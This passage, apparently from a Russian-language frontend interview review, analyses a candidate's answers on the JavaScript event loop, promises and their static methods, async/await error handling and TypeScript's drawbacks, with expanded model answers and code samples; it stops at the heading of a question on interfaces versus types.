- Sync Code → Stack.
- Microtasks (Promises, MutationObserver, queueMicrotask) → ДО рендера, до следующей макрозадачи. Выполняются до полной очереди.
- Render Phase (rAF → Style → Layout → Paint) → 60fps / vsync.
- Idle Phase (rIC) → Если время осталось.
- Next Macrotask (Timers, Events, Network) → Выбор по приоритету.
Понимание приоритетов (User Input > Network > Timers > Idle) и того, что rAF — это часть рендеринга, а не задача — отличает глубокое знание от поверхностного.
Вопрос 13. Что такое промисы в JavaScript и какие у них состояния.
Таймкод: 00:20:41
Ответ собеседника: Правильный. Промис — способ избежать callback hell, синтаксическая конструкция-обещание. Состояния: pending (ожидание), fulfilled (выполнен успешно, resolve), rejected (ошибка, reject). Исправил себя: состояние при resolve — fulfilled, а не resolved.
Правильный ответ:
Promise (Промис) — это объект-обертка для асинхронной операции, представляющий единое значение, которое будет доступно в будущем (или никогда). Это реализация паттерна «Future/Promise» по спецификации Promises/A+ (встроена в ES2015).
Ключевая идея: инверсия управления. Вместо того чтобы передавать колбэки в асинхронную функцию (Continuation Passing Style), функция возвращает объект-промис, к которому присоединяются обработчики.
1. Три состояния (State Machine)
У промиса есть внутренний слот [[PromiseState]] с тремя неизменяемыми состояниями:
| Состояние | Англ. | Описание | Переходы |
|---|---|---|---|
| Ожидание | pending | Начальное состояние. Результат еще не готов. | → fulfilled (resolve) <br> → rejected (reject) |
| Выполнен успешно | fulfilled | Операция завершена успешно. Есть значение ([[PromiseResult]]). | Финальное (нельзя изменить) |
| Выполнен с ошибкой | rejected | Операция завершена с ошибкой. Есть причина ([[PromiseResult]]). | Финальное (нельзя изменить) |
Терминология (важно для собеседований):
resolved— это не состояние. Это действие (procedure) или термин «разрешенный» (resolved promise).- Промис resolved (разрешен), если он fulfilled ИЛИ если он «заперт» за thenable-объектом (после
resolve(thenable)). - Кандидат прав:
resolve(value)переводит вfulfilled(если value не thenable).
2. Неизменяемость состояния (Immutability)
Один раз перешедший в fulfilled или rejected, промис никогда не меняет состояние и значение.
const p = new Promise((res, rej) => {
res(1);
res(2); // Игнорируется
rej(new Error('fail')); // Игнорируется
});
p.then(console.log); // 1
Это гарантирует идемпотентность обработчиков: .then(fn) вызовет fn ровно 1 раз с тем же значением, сколько бы раз ни подписались.
3. Конструктор и Executor Function
const promise = new Promise((resolve, reject) => {
// Executor выполняется СИНХРОННО и НЕМЕДЛЕННО при создании
doAsyncWork((err, data) => {
if (err) reject(err);
else resolve(data);
});
});
- Executor запускается синхронно до возврата промиса.
- Ошибки внутри executor (throw) автоматически превращаются в
reject(try/catch вокруг executor). resolve(value):- Если
value— обычное значение →fulfilled. - Если
value— thenable (объект с методом.then) → промис «поглощает» его состояние (assimilation). Промис переходит вpending, пока thenable не разрешится.
- Если
4. Методы экземпляра (Consumers) — создают НОВЫЕ промисы
Все методы возвращают новый промис (chaining), не мутируя исходный.
| Метод | Назначение | Особенности |
|---|---|---|
.then(onFulfilled, onRejected) | Базовая подписка. | Оба аргумента опциональны. Возвращает промис. |
.catch(onRejected) | Сокращение для .then(undefined, onRejected). | Ловит ошибки из предыдущих звеньев цепочки. |
.finally(onFinally) | Очистка (cleanup). | Не получает аргументов. Возвращает промис, который разрешается с тем же результатом/ошибкой, что и исходный (пропускает значение сквозь). |
Правила цепочки (Chaining Rules):
- Если обработчик возвращает значение → следующий
.thenполучаетfulfilledс этим значением. - Если обработчик возвращает промис/thenable → следующий
.thenждет его разрешения (flattening). - Если обработчик бросает ошибку (
throw) → следующий.catchполучаетrejected. - Если обработчика нет (пропуск) → значение/ошибка пропускается дальше (transparent pass-through).
5. Статические методы конструктора Promise
| Метод | Поведение | Кейс использования |
|---|---|---|
Promise.resolve(value) | Нормализует значение в промис. Если value — промис, вернет его же (identity). | Адаптация синхронных/thenable API к промисам. |
Promise.reject(reason) | Создает сразу rejected промис. | Быстрый возврат ошибки. |
Promise.all(iterable) | Ждет все. fulfilled → массив значений. rejected → первая ошибка (fail-fast). | Параллельные независимые запросы (все нужны). |
Promise.allSettled(iterable) (ES2020) | Ждет все. Никогда не reject. Возвращает массив {status: 'fulfilled', value} | {status: 'rejected', reason}. | Независимые задачи, где важен результат каждой (аналитика, батчи). |
Promise.race(iterable) | Разрешается как первый завершившийся (fulfilled или rejected). | Таймауты (Promise.race([fetch(), timeout(5000)])). |
Promise.any(iterable) (ES2021) | Ждет первый fulfilled. Игнорирует rejected. Если все rejected → AggregateError. | Фоллбэки (попробовать CDN1, потом CDN2, потом Origin). |
Promise.withResolvers() (ES2024 / Stage 3) | Возвращает { promise, resolve, reject }. | Удобно для оберток над callback API без new Promise. |
6. Микрозадачи и Event Loop (Критично для Senior)
Обработчики .then/.catch/.finally всегда выполняются асинхронно как микрозадачи (Microtasks), даже если промис уже разрешен.
Promise.resolve().then(() => console.log('Microtask'));
console.log('Sync');
// Вывод: Sync -> Microtask
Ловушка: await vs .then в циклах
// Последовательно (медленно)
for (const url of urls) {
await fetch(url); // Ждет завершения каждого
}
// Параллельно (быстро)
await Promise.all(urls.map(url => fetch(url)));
// Последовательно, но с контролем (rate limiting)
for (const url of urls) {
await fetch(url); // OK, если нужен строгий порядок
}
7. Обработка ошибок: Best Practices
- Всегда заканчивайте цепочку
.catch()(или используйтеwindow.onunhandledrejection/process.on('unhandledRejection')). - Не игнорируйте ошибки в
.then(success, fail)— второй аргумент ловит ошибку только из этого промиса, а не из предыдущих. Лучше.then(success).catch(fail). try/catchсawait— синтаксический сахар над.catch, но работает только внутриasyncфункций.async function foo() {try { await risky(); }catch (e) { handle(e); } // Ловит и sync, и async ошибки}AggregateError(отPromise.any/allSettledанализ) — итерируйтеerror.errors.
8. Внутренние слоты (Spec View — для глубины)
Спецификация определяет невидимые свойства:
[[PromiseState]]:"pending" | "fulfilled" | "rejected"[[PromiseResult]]: значение (any) или причина ошибки (any) — только в финальных состояниях.[[PromiseFulfillReactions]]: массивPromiseReaction(колбэки.thenдля успеха).[[PromiseRejectReactions]]: массивPromiseReaction(колбэки.catch/.then2-й аргумент).[[PromiseIsHandled]]: boolean (для отслеживания unhandled rejections).
9. Типичные ошибки (Anti-patterns)
| Антипаттерн | Проблема | Решение |
|---|---|---|
| Promise Constructor Antipattern | new Promise(r => r(fetch(...))) — лишняя обертка. | Просто верните fetch(...) или Promise.resolve(val). |
| Floating Promise | doAsync(); без await/.catch — потеря ошибки. | Всегда await или .catch(log) или void doAsync(). |
Sequential await в цикле | for (..) await ... вместо параллелизма. | Promise.all(map(...)) или for await (const p of pool) (пул). |
new Promise с async executor | new Promise(async (r, rej) => { await ... }) — ошибки в async executor не ловятся конструктором (промис уйдет в unhandled). | Не делайте executor async. Используйте try/catch внутри или Promise.resolve().then(async ...). |
Забытый return в цепочке | Разрыв цепочки, потеря значения. | Линтер (require-return в promise plugin) + дисциплина. |
10. Резюме: Promise — это
- Контейнер для будущего значения (Value Container).
- Машина состояний с гарантированным однократным переходом
pending → settled. - Монада-подобная структура (map/flatMap через
.then), обеспечивающая композицию асинхронности. - Источник микрозадач — интеграция с Event Loop.
- Стандарт де-факто для асинхронного API в JS (Fetch, FS, Streams, Timers via promisify).
Вопрос 14. Приведите примеры использования статических методов промисов (Promise.all, Promise.race и др.).
Таймкод: 00:21:56
Ответ собеседника: Правильный. Promise.all — параллельная загрузка нескольких независимых запросов (справочники для страницы). Promise.race — реализация таймаута запроса: гонка между fetch и setTimeout, кто первый завершится.
Правильный ответ:
Кандидат верно назвал два основных кейса. Ниже — расширенный обзор всех статических методов с production-ready паттернами, обработкой ошибок и нюансами производительности.
1. Promise.all(iterable) — «Все или ничто» (Fail-fast)
Поведение: Ждет выполнения всех промисов.
- Успех: Возвращает промис, разрешающийся в массив значений (в том же порядке).
- Ошибка: Отклоняется сразу при первой ошибке (остальные продолжают выполняться в фоне, но их результаты игнорируются).
Кейс: Загрузка независимых данных для страницы (Dashboard, настройки, профиль).
async function loadDashboardData(userId) {
try {
// Параллельный старт всех запросов
const [user, permissions, notifications, settings] = await Promise.all([
fetchUser(userId),
fetchPermissions(userId),
fetchNotifications(userId),
fetchSettings(userId)
]);
return { user, permissions, notifications, settings };
} catch (error) {
// Один упал — вся страница в ошибке (или фоллбэк)
logger.error('Dashboard load failed', error);
throw new Error('Не удалось загрузить дашборд'); // Пробрасываем дальше в Error Boundary
}
}
Нюанс: Promise.all с не-промисами (нормализация).
const results = await Promise.all([
fetchData(), // Промис
42, // Число -> обернется в Promise.resolve(42)
'string', // Строка
null, // null
someThenableObj // Thenable -> ассимилируется
]);
// results: [data, 42, 'string', null, thenableResult]
Антипаттерн: Последовательный запуск в цикле (медленно).
// ПЛОХО: ждет завершения каждого перед стартом следующего
const results = [];
for (const id of ids) {
results.push(await fetchItem(id));
}
// ХОРОШО: параллельно
const results = await Promise.all(ids.map(id => fetchItem(id)));
2. Promise.allSettled(iterable) — «Ждем всех, собираем отчет» (ES2020)
Поведение: Никогда не отклоняется (кроме ошибки в самом итераторе). Ждет завершения всех промисов. Возвращает массив дескрипторов результата:
{ status: 'fulfilled', value: T }{ status: 'rejected', reason: Error }
Кейс 1: Аналитика / Логирование / Независимые микросервисы (один упал — остальные важны).
async function trackEvents(events) {
const results = await Promise.allSettled(
events.map(event => analyticsService.send(event))
);
const failed = results
.filter(r => r.status === 'rejected')
.map(r => r.reason);
if (failed.length) {
logger.warn('Some analytics events failed', failed);
// Можно отправить в Dead Letter Queue для ретрая
}
return { sent: results.length - failed.length, failed: failed.length };
}
Кейс 2: UI — отображение частичных данных (Skeleton Loaders).
async function renderWidgets(widgetConfigs) {
const results = await Promise.allSettled(
widgetConfigs.map(cfg => loadWidget(cfg))
);
results.forEach((result, index) => {
if (result.status === 'fulfilled') {
mountWidget(widgetConfigs[index].container, result.value);
} else {
renderError(widgetConfigs[index].container, result.reason);
// Остальные виджеты работают!
}
});
}
3. Promise.race(iterable) — «Победитель забирает всё» (First settled)
Поведение: Разрешается/Отклоняется как первый завершившийся промис (fulfilled ИЛI rejected).
Кейс 1: Таймаут для fetch (Классика).
function fetchWithTimeout(url, ms = 5000) {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), ms);
return Promise.race([
fetch(url, { signal: controller.signal })
.finally(() => clearTimeout(timeoutId)), // Чистим таймер при успехе/ошибке fetch
new Promise((_, reject) =>
setTimeout(() => reject(new Error('Timeout')), ms)
)
]);
}
// Использование
try {
const response = await fetchWithTimeout('/api/slow', 3000);
} catch (e) {
if (e.name === 'AbortError' || e.message === 'Timeout') {
// Обработка таймаута
}
}
Современный способ: fetch поддерживает signal от AbortController. Promise.race здесь нужен, чтобы превратить abort в reject с понятной ошибкой, так как fetch при аборте кидает AbortError (DOMException), который может не попадать в стандартный catch логику, если не проверять тип.
Кейс 2: Кэш vs Сеть (Stale-while-revalidate упрощенно).
async function getData(key) {
return Promise.race([
cache.get(key), // Быстрый кэш (может быть старым)
fetchFresh(key) // Медленная сеть
]).then(data => {
// Если кэш вернул быстрее — показываем сразу, сеть обновит кэш в фоне
if (!cache.has(key)) cache.set(key, data);
return data;
});
}
4. Promise.any(iterable) — «Первый успех» (ES2021)
Поведение: Ждет первый выполненный успешно (fulfilled). Игнорирует отклоненные.
- Если хотя бы один fulfilled → разрешается с его значением.
- Если все rejected → отклоняется с
AggregateError(свойство.errors— массив всех причин).
Кейс: Фоллбэки / Множественные источники (CDN, Mirrors, Fallback API).
async function fetchFromFastestSource(resourceId) {
const sources = [
fetchFromCDN(resourceId), // Быстрый, но может быть недоступен
fetchFromMirror(resourceId), // Запасной
fetchFromOrigin(resourceId) // Медленный, но надежный источник
];
try {
// Вернет результат ТОГО, кто ответил УСПЕШНО первым
return await Promise.any(sources);
} catch (aggregateError) {
// AggregateError: All promises were rejected
logger.error('All sources failed', aggregateError.errors);
throw new Error('Resource unavailable');
}
}
5. Promise.resolve(value) / Promise.reject(reason) — Нормализация
Кейс 1: Адаптация Callback API (Промисификация).
// Старый API: fs.readFile(path, cb)
function readFilePromise(path) {
return new Promise((resolve, reject) => {
fs.readFile(path, (err, data) => {
if (err) reject(err);
else resolve(data);
});
});
}
// Или универсальная утилита (Node.js util.promisify делает это)
function promisify(fn) {
return (...args) => new Promise((resolve, reject) => {
fn(...args, (err, result) => err ? reject(err) : resolve(result));
});
}
Кейс 2: Условный возврат промиса / значения (Type Guard).
async function getUser(id) {
const cached = cache.get(id);
// Если в кэше есть — вернем обернутый промис, иначе пойдем в БД
return cached ? Promise.resolve(cached) : db.findUser(id);
}
// Потребитель всегда делает await, не зная, откуда данные
const user = await getUser(1);
Кейс 3: Promise.reject для быстрого выхода (Guard Clauses).
function processOrder(order) {
if (!order.items.length) return Promise.reject(new Error('Empty cart'));
if (!order.user) return Promise.reject(new Error('Unauthorized'));
return validatePayment(order) // возвращает промис
.then(() => saveOrder(order));
}
6. Promise.withResolvers() — ES2024 (Stage 3, в Node 22+, Chrome 119+)
Возвращает объект { promise, resolve, reject }. Убирает необходимость в new Promise и замыкании.
Кейс 1: Обертка над Event-based / Stream API.
function waitForEvent(emitter, eventName, timeoutMs = 5000) {
const { promise, resolve, reject } = Promise.withResolvers();
const handler = (data) => {
cleanup();
resolve(data);
};
const timeoutId = setTimeout(() => {
cleanup();
reject(new Error(`Timeout waiting for ${eventName}`));
}, timeoutMs);
function cleanup() {
emitter.off(eventName, handler);
clearTimeout(timeoutId);
}
emitter.on(eventName, handler);
return promise;
}
// Использование
const data = await waitForEvent(socket, 'message');
Кейс 2: Внешнее управление промисом (Deferred Pattern).
class TaskQueue {
constructor() {
this.queue = [];
this.processing = false;
}
add(taskFn) {
const { promise, resolve, reject } = Promise.withResolvers();
this.queue.push({ taskFn, resolve, reject });
this.process();
return promise; // Возвращаем промис сразу, управление resolve/reject у нас
}
async process() { ... }
}
7. Сводная таблица выбора метода
| Задача | Метод | Реакция на ошибку | Возвращает |
|---|---|---|---|
| Все должны успешно выполниться | Promise.all | Fail-fast (первая ошибка) | T[] (массив значений) |
| Нужен результат каждого (успех/ошибка) | Promise.allSettled | Никогда не фейлится | PromiseSettledResult[] |
| Нужен самый быстрый (любой исход) | Promise.race | Первый settled (ошибка или успех) | T (значение или ошибка) |
| Нужен первый успешный, ошибки игнорим | Promise.any | Только если все ошибки (AggregateError) | T (первое значение) |
| Нормализовать значение в промис | Promise.resolve | Никогда (если не thenable с reject) | Promise<T> |
| Создать отвергнутый промис | Promise.reject | Всегда | Promise<never> |
| Получить resolve/reject наружу | Promise.withResolvers | Зависит от вызова reject | { promise, resolve, reject } |
8. Производительность и память (Senior Notes)
-
Promise.allс огромными массивами (10k+):- Создает массив промисов сразу → нагрузку на память и микрозадачи.
- Паттерн: Concurrency Pool (Пул параллелизма). Ограничиваем количество одновременно выполняющихся промисов (например,
p-limitбиблиотека или самописный пул на 3-5 штук).
async function pool(tasks, limit = 3) {const results = [];const executing = [];for (const task of tasks) {const p = task().then(res => results.push(res));executing.push(p);if (executing.length >= limit) {await Promise.race(executing); // Ждем хотя бы одного// Удаляем завершенные из executing (нужно отслеживать индексы или использовать Set)}}return Promise.all(executing).then(() => results);} -
Promise.allSettledvstry/catchвPromise.all:allSettledбезопаснее для памяти в долгоиграющих процессах, так как не прерывает стек ошибки, а собирает их аккуратно.
-
Отмена (Cancellation):
- Промисы неотменяемы нативно.
- Паттерн:
AbortController+signal(для fetch) или флагisCancelledвнутри executor / проверка в.then. Promise.raceсAbortSignal— стандартный способ отмены ожидания.
Вопрос 15. Что такое async/await и как в таких конструкциях обрабатывать ошибки.
Таймкод: 00:23:22
Ответ собеседника: Правильный. Async/await — синтаксический сахар над промисами, делает асинхронный код похожим на синхронный. Ошибки обрабатываются через try/catch, что удобнее, чем .catch() в цепочках промисов.
Правильный ответ:
async / await — это синтаксический сахар над промисами (ES2017), который позволяет писать асинхронный код в императивном стиле, сохраняя неблокирующую природу JS. На уровне движка это реализуется через генераторы (Generators) и машину состояний (State Machine), которая автоматически управляет цепочкой промисов.
1. Как это работает «под капотом» (Transformation)
// Исходный код
async function fetchUser(id) {
const response = await fetch(`/users/${id}`);
const data = await response.json();
return data;
}
// Трансформируется компилятором (упрощенно) в:
function fetchUser(id) {
return new Promise((resolve, reject) => {
// State Machine Logic
function step(value) {
// ... выполнение до следующего await ...
}
// 1. fetch(...) -> Promise
// 2. .then(response => response.json()) -> Promise
// 3. .then(data => resolve(data))
// 4. .catch(reject) - ВАЖНО: любой throw/reject попадает в reject внешнего промиса
});
}
Ключевые свойства:
asyncфункция всегда возвращает Промис. Даже если вы делаетеreturn 42— вернетсяPromise.resolve(42).awaitразворачивает (unwraps) Промис.- Если промис
fulfilled→ возвращает значение (value). - Если промис
rejected→ бросает исключение (throw reason), которое можно пойматьtry/catch.
- Если промис
awaitставит выполнение функции на паузу и отдает управление Event Loop (планирует продолжение как микрозадачу).
2. Обработка ошибок: Стратегии и Паттерны
Главное правило: Ошибка в await (rejected promise) → throw (синхронное исключение).
А. try / catch / finally — Основной инструмент
Позволяет писать синхронно-выглядящий код обработки.
async function getUserData(userId) {
try {
// 1. Ошибки сети, 404, 500, parse error — все попадут сюда
const response = await fetch(`/users/${userId}`);
if (!response.ok) {
// HTTP ошибки (4xx, 5xx) НЕ режектят fetch промис!
// Нужно бросать вручную для единообразия
throw new HttpError(response.status, response.statusText);
}
const user = await response.json(); // JSON parse error -> catch
const permissions = await fetchPermissions(user.id); // Доп. запрос
return { ...user, permissions };
} catch (error) {
// Единая точка обработки: сеть, парсинг, логика, HttpError
logger.error('getUserData failed', { userId, error });
// 1. Можно вернуть дефолт/фоллбэк (подавить ошибку)
if (error instanceof HttpError && error.status === 404) {
return null; // Пользователь не найден — не фатально
}
// 2. Можно обогатить и пробросить дальше (re-throw)
throw new AppError('Failed to load user profile', { cause: error });
} finally {
// Cleanup: спиннеры, метрики, закрытие соединений
analytics.track('user_load_attempt', { userId });
}
}
Нюанс finally: Выполняется всегда. Если в finally есть return или throw — он перезаписывает результат/ошибку из try/catch (как и в синхронном JS). Избегайте return в finally.
Б. .catch() на возвращаемом промисе — Для вызывающего кода
async функция возвращает промис. Ошибка, не пойманная внутри (или проброшенная throw), становится rejected промисом.
// Внутри нет try/catch -> ошибка уйдет в rejected промис
async function risky() {
await fail();
}
// Вызывающий код ОБЯЗАН обработать
risky()
.then(handleSuccess)
.catch(handleError); // Или await risky().catch(...)
// В другой async функции:
async function caller() {
try {
await risky();
} catch (e) { ... }
}
В. Promise.all / allSettled с await — Параллелизм
Самая частая ошибка — писать await в цикле вместо параллелизма.
// ПЛОХО: Последовательно (N * latency)
async function slow(ids) {
const results = [];
for (const id of ids) {
results.push(await fetchItem(id)); // Ждет каждый!
}
return results;
}
// ХОРОШО: Параллельно (1 * max_latency)
async function fast(ids) {
// Ошибка в ЛЮБОМ промисе -> reject всего Promise.all (fail-fast)
return await Promise.all(ids.map(id => fetchItem(id)));
}
// ХОРОШО: Параллельно, но собираем все результаты (успехи + ошибки)
async function robust(ids) {
const results = await Promise.allSettled(ids.map(id => fetchItem(id)));
return results.map((r, i) => {
if (r.status === 'fulfilled') return r.value;
logger.warn(`Item ${ids[i]} failed`, r.reason);
return null; // или дефолт
}).filter(Boolean);
}
Г. for await ... of — Асинхронные итераторы / Потоки
async function processStream(stream) {
try {
for await (const chunk of stream) {
await processChunk(chunk); // Последовательная обработка чанков
}
} catch (error) {
// Ошибка чтения потока ИЛИ ошибка из processChunk
stream.destroy(error);
}
}
Д. Top-level await (ES2022, Modules)
В модулях (<script type="module">) можно использовать await без обертки в async.
Ошибка на топ-левеле прекращает выполнение модуля и режектит промис модуля (попадает в import() catch или глобальный хендлер).
// config.js
const config = await fetchConfig().catch(e => {
console.error('Config load failed, using defaults', e);
return DEFAULT_CONFIG;
});
export { config };
3. Типичные ловушки (Senior Level Gotchas)
| Ловушка | Проблема | Решение |
|---|---|---|
Забытый await | const user = fetchUser(1); → user — это Промис, а не объект. Код идет дальше, данные не готовы. | ESLint: require-await. Code Review. TypeScript (строгая типизация). |
try/catch вокруг Promise.all | Один упал -> весь блок в catch. Потеряли результаты успешных. | Использовать Promise.allSettled + анализ массива результатов. |
| Потеря стека вызовов (Stack Traces) | Ребро throw new Error(...) в catch теряет исходный стек (если не использовать cause). | throw new AppError('msg', { cause: originalError }) (ES2022 Error Cause). |
await в не-async функции | SyntaxError. | Только внутри async или топ-левель модулей. |
| Параллельный запуск без контроля | Promise.all(hugeArray.map(...)) -> OOM, DDOS своего бэкенда. | Concurrency Pool (пул из N одновременных), библиотеки p-limit, async-pool. |
Ошибки в finally | finally { throw new Error() } замаскирует исходную ошибку/результат. | Не кидайте ошибки в finally. Только сайд-эффекты (логи, закрытие). |
await внутри forEach / map (без Promise.all) | items.forEach(async i => await save(i)) — forEach не ждет промисы! Функция вернет управление до завершения сохранений. | for (const i of items) await save(i) (последовательно) или await Promise.all(items.map(i => save(i))) (параллельно). |
4. Паттерн: «Result Tuple» (Go-style) для удобства без try/catch
Вместо try/catch блоков везде, часто делают утилиту, возвращающую кортеж [error, data].
// Утилита
export async function to(promise) {
try {
const data = await promise;
return [null, data];
} catch (error) {
return [error, null];
}
}
// Использование — чистый линейный код
async function handler(req, res) {
const [err, user] = await to(fetchUser(req.id));
if (err) return res.status(500).send('User service down');
const [permErr, perms] = await to(fetchPerms(user.id));
if (permErr) return res.status(403).send('Perms error');
res.json({ user, perms });
}
Популярен в Go-комьюнити и некоторых JS кодовых базах для уменьшения вложенности.
5. Резюме: Best Practices для Error Handling с async/await
- Всегда оборачивайте
awaitвtry/catch, если ошибка ожидаема и обрабатываема локально (валидация, 404, фоллбэки). - Не ловите ошибки там, где не можете их обработать осмысленно. Пусть они пузырятся вверх к глобальному хендлеру (Error Boundary в React,
errorMiddlewareв Express,unhandledrejectionв Node). - Используйте
Error Cause(new Error(msg, { cause }))для сохранения стека исходной ошибки при оборачивании. - Разделяйте типы ошибок (кастомные классы
HttpError,ValidationError,BusinessLogicError) для точечногоcatch (e) { if (e instanceof ValidationError) ... }. - Параллелизм через
Promise.all/allSettled— дефолтный выбор для независимых операций. Последовательныйawaitв цикле — только при строгой зависимости шагов или rate limiting. finally— только для cleanup (логи, метрики, спиннеры,stream.destroy()). Никакихreturn/throw.
Вопрос 16. Что такое TypeScript и какие у него минусы.
Таймкод: 00:25:07
Ответ собеседника: Неполный. TypeScript — типизация над JavaScript, добавляет строгость. Минусы: нужно конфигурировать среду (считал это данностью, не минусом), нет защиты типов в рантайме (добавил после наводки интервьюера).
Правильный ответ:
TypeScript (TS) — это строго типизированный суперсет JavaScript, который компилируется (транспилируется) в чистый JS (ES3+). Разработан Microsoft (Anders Hejlsberg), открыт (Open Source).
Ключевая философия: «Types are erased at runtime» (Типы стираются во время выполнения). TS — это инструмент статического анализа (Static Analysis Tool) и compile-time safety, а не runtime enforcement.
1. Что дает TypeScript (Плюсы / Зачем нужен Senior-уровень)
| Возможность | Суть | Бизнес-ценность |
|---|---|---|
| Статическая типизация | Аннотации : Type, Generics, Interfaces, Unions. | Обнаружение ~15-25% багов на этапе CI/IDE (по исследованиям Microsoft/Google). |
| Интеллисенс / Автодополнение | IDE знает структуру объектов, сигнатуры функций. | Скорость разработки, рефакторинг без страха (Rename Symbol, Find References). |
| Контракты (Interfaces/Types) | Документация, которая не устаревает (в отличие от JSDoc/комментариев). | Онбординг новичков, межкомандное взаимодействие (API contracts). |
| Нарроуинг (Narrowing) & Control Flow Analysis | if (typeof x === 'string') -> TS знает, что x строка. | Безопасная работа с Union Types (string | null), устранение undefined ошибок. |
| Структурная типизация (Duck Typing) | interface A { x: number } совместим с { x: number, y: string }. | Гибкость, не нужно наследовать классы явно (implements опционален). |
| Продвинутая система типов | Conditional Types, Mapped Types, Template Literal Types, infer. | Типобезопасные утилиты (Pick, Omit, ReturnType, Parameters), валидация схем на уровне типов (tRPC, Zod inference). |
| Экосистема | .d.ts для библиотек (DefinitelyTyped), поддержка в всех фреймворках. | Готовые типы для 99% npm пакетов. |
2. Минусы и Затраты (Честный взгляд Senior/Tech Lead)
Кандидат упомянул только «нет рантайм проверок». На собеседовании ожидается понимание Full Cost of Ownership.
А. Нет защиты типов в Runtime (Fundamental Limitation)
Типы стираются при компиляции (tsc / esbuild / swc).
// TS Code
function greet(name: string) { console.log(name); }
greet(123); // TS Error: Argument of type 'number' not assignable to 'string'
// Скомпилированный JS (es2020)
function greet(name) { console.log(name); }
greet(123); // Работает! Ошибки нет.
Последствия:
- Границы системы (I/O) — зона риска:
fetch,localStorage,JSON.parse, WebSocket messages, переменные окружения (process.env), файлы конфигурации.- Решение: Runtime Validation (Zod, Valibot, ArkType, io-ts, class-validator) + Parse, don't validate (парсинг сразу в типизированную структуру).
any— дыра в системе. Легаси, миграция, сложные либы заставляют использоватьany-> потеря гарантий.- Решение:
strict: true,noImplicitAny: true,eslint: @typescript-eslint/no-explicit-any.
- Решение:
- Type Assertions (
as Type) — обман компилятора.const data = JSON.parse(str) as User; // Опасно! Данные могут не совпадать.
Б. Сложность системы типов (Cognitive Load & Complexity)
TS имеет Тьюринг-полную систему типов (на уровне типов можно писать программы).
- Кривая обучения: От простых интерфейсов до
Conditional Types,Mapped Types,Variance(co/contra/invariance),Type Inferenceedge cases. - Over-engineering: «Type Golf» — написание невероятно сложных типов для простых задач, которые никто не сможет поддержать.
- Ошибки компилятора: Иногда сообщения об ошибках занимают экран (особенно при работе с Generics/Overloads), требуют опыта для чтения.
В. Инфраструктурные накладные расходы (Build & Tooling)
- Build Step обязателен. Нет нативного запуска в браузере/Node (кроме экспериментального
tsx/--experimental-strip-typesв Node 22+ /jiti). Нуженtsc,esbuild,swc,vite,webpack. - Конфигурация (
tsconfig.json): 100+ опций.strict,moduleResolution(NodeNext vs Bundler),paths,baseUrl,verbatimModuleSyntax,isolatedModules. Ошибка в конфиге = часы дебага. - Скорость компиляции: На больших монорепози (100k+ файлов)
tscможет быть медленным. Решается: Project References,esbuild/swcдля трансформации +tsc --noEmitдля типов в CI. - Версионирование:
typescript@4->@5->@5.5ломают билды, требуют обновления@types/*, конфигов, IDE.
Г. Номинальная типизация vs Структурная (Design Friction)
В C#/Java: class User { id: number } != class Product { id: number } (Nominal).
В TS: { id: number } === { id: number } (Structural).
interface User { id: number; }
interface Product { id: number; }
function processUser(u: User) {}
processUser({ id: 1 } as Product); // OK в TS! Ошибка логики приложения.
Решение: Брендированные типы (Branded Types / Opaque Types):
type UserId = number & { __brand: 'UserId' };
type ProductId = number & { __brand: 'ProductId' };
// Теперь UserId !== ProductId
Д. Экосистема .d.ts и node_modules
- Не все библиотеки имеют качественные типы.
@types/*могут устареть относительно версии либы.declare module 'lib'— приходится писать самому.moduleResolution: NodeNext+ ESM +package.jsonexports — боль при миграции.
Е. False Sense of Security (Иллюзия безопасности)
Команда думает: «Есть TS -> багов нет».
- Игнорируют
unknownв пользуany. - Не валидируют входные данные (API).
- Пишут
// @ts-ignore/as unknown as Typeпод давлением дедлайнов.
3. Миграция и Стратегии внедрения (Senior Perspective)
strict: trueсразу. Включать по одному флагу (noImplicitAny,strictNullChecks,strictFunctionTypes) — больно и долго. Лучше выделить время, включитьstrict, починить проект.- Изоляция типов (
isolatedModules: true). Обязательно дляesbuild/swc/babel/vite. Запрешает экспорт не-типов безexport type, гарантирует корректную трансляцию без полногоtsc. - Генерация типов из источников правды (Source of Truth):
- Backend -> Frontend: OpenAPI (Swagger) ->
openapi-typescript/orval/hey-api. Не пишите типы API руками! - Database -> Backend: Prisma, Drizzle, Kysely — типы генерируются из схемы БД.
- Schema Validation -> Types: Zod/Valibot ->
z.infer<typeof schema>— единый источник для валидации и типов.
- Backend -> Frontend: OpenAPI (Swagger) ->
- CI Pipeline:
tsc --noEmit(проверка типов) +eslint+prettier— в обязательном порядке перед мержем.
4. Современные альтернативы / Эволюция (2024-2025)
| Инструмент | Роль | Отношение к TS |
|---|---|---|
tsc (TypeScript Compiler) | Эталонная проверка типов (Type Checking). | Медленный, используется в CI (--noEmit). |
esbuild / swc / oxc | Быстрая трансформация (TS -> JS, удаление типов). | Не проверяют типы! Только стирают. Используются в Dev/Build (Vite, Next.js, Turbopack). |
tsx / ts-node / jiti | Раннеры для Node.js (Dev). | JIT компиляция + type stripping. |
biome / oxlint | Линтеры на Rust/Go. | Быстрые, понимают TS синтаксис, частично заменяют tsc для простых проверок. |
JSDoc + checkJs: true | Типизация внутри .js файлов. | Вариант для мелких проектов/либ без билда, но менее мощный. |
Effect.ts / fp-ts | ФП библиотеки. | Используют TS на пределе возможностей (HKT simulation). |
5. Резюме: TypeScript — это Trade-off
| Вы получаете | Вы платите |
|---|---|
| Безопасность рефакторинга | Время на обучение и поддержку типов |
| Живая документация (API контракты) | Build step + конфигурация инструментов |
| Автодополнение / DX (Developer Experience) | Сложность типов (Generics, Conditional) |
| Раннее обнаружение опечаток/ошибок API | Иллюзия безопасности (нужен Runtime Validation) |
Вердикт Senior/Tech Lead: Для проектов > 3-5 разработчиков, > 6 месяцев жизни, продуктовых команд — TypeScript обязателен (ROI положительный за счет снижения багов в проде и скорости онбординга). Для скриптов, прототипов, малых либ, одиночек — может быть оверхедом (JSDoc / plain JS достаточно).
Ключевой навык: Умение балансировать между строгостью (strict, сложные Generics) и прагматизмом (// @ts-expect-error с комментарием, unknown вместо any, генерация типов из схем), не превращая кодовую базу в «Type Golf».
Вопрос 17. В чём отличие между интерфейсами (interface) и типами (type) в TypeScript.
Таймкод: 00:26:25
Ответ собеседника: Неполный. На практике разделяет семантически: type для простых структур (пропсы), interface для сложных логических контрактов между модулями. Упомянул, что с интерфейсами нельзя сделать union-типы и примитивы. Не назвал declaration merging (объединение объявлений) как ключевое отличие интерфейсов.
Правильный ответ:
